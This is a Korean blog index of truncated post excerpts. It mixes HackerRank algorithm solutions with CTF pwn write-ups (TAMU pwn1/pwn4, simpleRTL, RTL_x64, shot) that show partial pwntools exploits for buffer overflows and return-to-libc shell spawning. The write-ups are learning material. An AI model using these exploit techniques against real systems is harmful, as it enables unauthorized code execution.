분류 전체보기
Mini-Max Sum
[Algorithms/WarmUp/Easy] https://www.hackerrank.com/challenges/mini-max-sum/problem Mini-Max Sum | HackerRank Find the maximum and minimum values obtained by summing four of five integers. www.hackerrank.com #include #include #include #include #include #include #include #include #include char* readline(); char** split_string(char*); // Complete the miniMaxSum function below. void miniMaxSum(int ..
Merge two sorted linked lists
[Data Structures/Linked List/Easy] https://www.hackerrank.com/challenges/merge-two-sorted-linked-lists/problem Merge two sorted linked lists | HackerRank Given the heads of two sorted linked lists, change their links to get a single, sorted linked list. www.hackerrank.com 두 개의 정렬된 연결리스트를 입력받는다. 처음에는 두 연결리스트가 정렬된 연결리스트인지 모르고 두 연결리스트를 먼저 병합하고 정렬하려고 했는데 뭔가 계속 wrong answer가 나와서 다른 방법으로 접근했다. 두 정렬된 리..
Balanced Brackets
[Data Structures/Stack/Medium] https://www.hackerrank.com/challenges/balanced-brackets/problem Balanced Brackets | HackerRank Given a string containing three types of brackets, determine if it is balanced. www.hackerrank.com 괄호들을 입력하고 (), {}, [] 짝을 이루고 있는지 확인하는 문제이다. C++ 수업에서 이 문제를 stack으로 구현해서 출력하는 과제를 한 적이 있다. 다만 이번에는 주어진 함수로만 풀기위해 stack을 따로 구조체를 선언하지 않고 풀어서 사용했다. 그리고 push(), pop()함수도 현재 주어지지 ..
shot
checksec IDA로 pseudo code 확인 IDA x64로 실행 2번 메뉴 선택: 원하는 주소값을 출력 3번 메뉴 선택: while 반복문 종료 1번 메뉴 선택: buf에 0x38byte만큼 입력 입력받은 값을 buf에 저장 buf-v7 = 20-10 debugging $2: "/bin/sh" 주소 - system() 주소 $3: "/bin/sh"주소 - libc 주소 one_gadget offset Exploit from pwn import * context.log_level = "debug" p=process("./shot") elf=ELF("./shot") libc=elf.libc p.sendlineafter("> ", '2') p.recvuntil("stdin: ") stdinaddr=i..
simpleRTL
checksec IDA로 pseudo code 확인 system의 주소를 출력받고 문자열 s를 입력하게 되어있음 ./simpleRTL 실행하면 system()함수의 주소를 출력하고 문자열 s에 사용자로부터 입력을 받도록 한다. debugging libc-2.23.so 시작 주소: 0xf7dff000 라이브러리 내에 있는 문자열 /bin/sh의 주소: 0xf7f5aa0b system()함수와 '/bin/sh' 주소 사이에 "A"*4를 넣었을 때 계속 오류 발생 >> exit()함수의 주소를 넣어줌 $3: exit() - libc $4: system() - libc $5: /bin/sh - libc Exlploit from pwn import * context.log_level = "debug" p=proc..
[TAMU 2019] pwn1
checksec IDA로 pseudo code 확인 name, quest에 정답이 들어가도록 하고 gets(&s)을 이용해서 s에 dummy값을 넣어 overflow 시켜 v5의 값을 0xDEA110C8로 바꿈 ./pwn1 대충 이런식으로 작동 >> name, quest를 위와 같이 입력해야 다음 진행 가능 문자열 s와 v5의 거리 = 0x3B-0x10 >> dummy값으로 채워주기 from pwn import * p=process("./pwn1") p.sendlineafter("What... is your name?","Sir Lancelot of Camelot") p.sendlineafter("What... is your quest?","To seek the Holy Grail.") pl="A"*(0..
PreOrder/InOrder/PostOrder
https://www.hackerrank.com/challenges/tree-preorder-traversal/problem Tree: Preorder Traversal | HackerRank Print the preorder traversal of a binary tree. www.hackerrank.com PreOrder VLR 순서로 트리를 순회하는 방식; prefix void preOrder( struct node *root) { if(root){ printf("%d ", root->data); preOrder(root->left); preOrder(root->right); } } cf. InOrder LVR 순서로 트리를 순회하는 방식; infix void inOrder( struct node ..
Cycle Detection
https://www.hackerrank.com/challenges/detect-whether-a-linked-list-contains-a-cycle/problem Cycle Detection | HackerRank Given a pointer to the head of a linked list, determine whether the linked list loops back onto itself www.hackerrank.com [DataStructure/Medium] 연결리스트 내에 cycle이 있는지 boolean값으로 리턴하는 함수 has_cycle()을 작성하는 문제 head 노드를 인자로 받고 그 노드를 기준으로 연결리스트를 탐색하며 cycle이 있는지 확인해야한다. 함수 내부에 주석처리를 한..
RTL_x64
checksec IDA로 pseudo code 확인 19-21: printf("inpupt: ", argv); argv = (const char **)&buf; read(0, &buf, 0x60uLL); 주소 구하기 / offset 구하기 pop rdi; ret : 0x400a13 Exploit from pwn import * context.log_level="debug" p=process("./RTL_x64") elf=ELF("./RTL_x64") p.sendlineafter("> ", "2") p.recvuntil("printf() addr: ") printf=int(p.recvuntil('\n'),16) log.info(hex(printf)) sysAdd=printf - 66672 binsh=pri..
[TAMU 2018] pwn4
checksec IDA로 바이너리 분석 ls(), cal(), pwd(), whoami() disassemble main+37: reduced_shell 함수 호출 주소 구하기/offset 구하기 Exploit 입력받는 문자열 s의 크기: 1C = 28 byte >> 28 + SFP(4) = 32byte system 주소를 elf.plt['system']으로 구함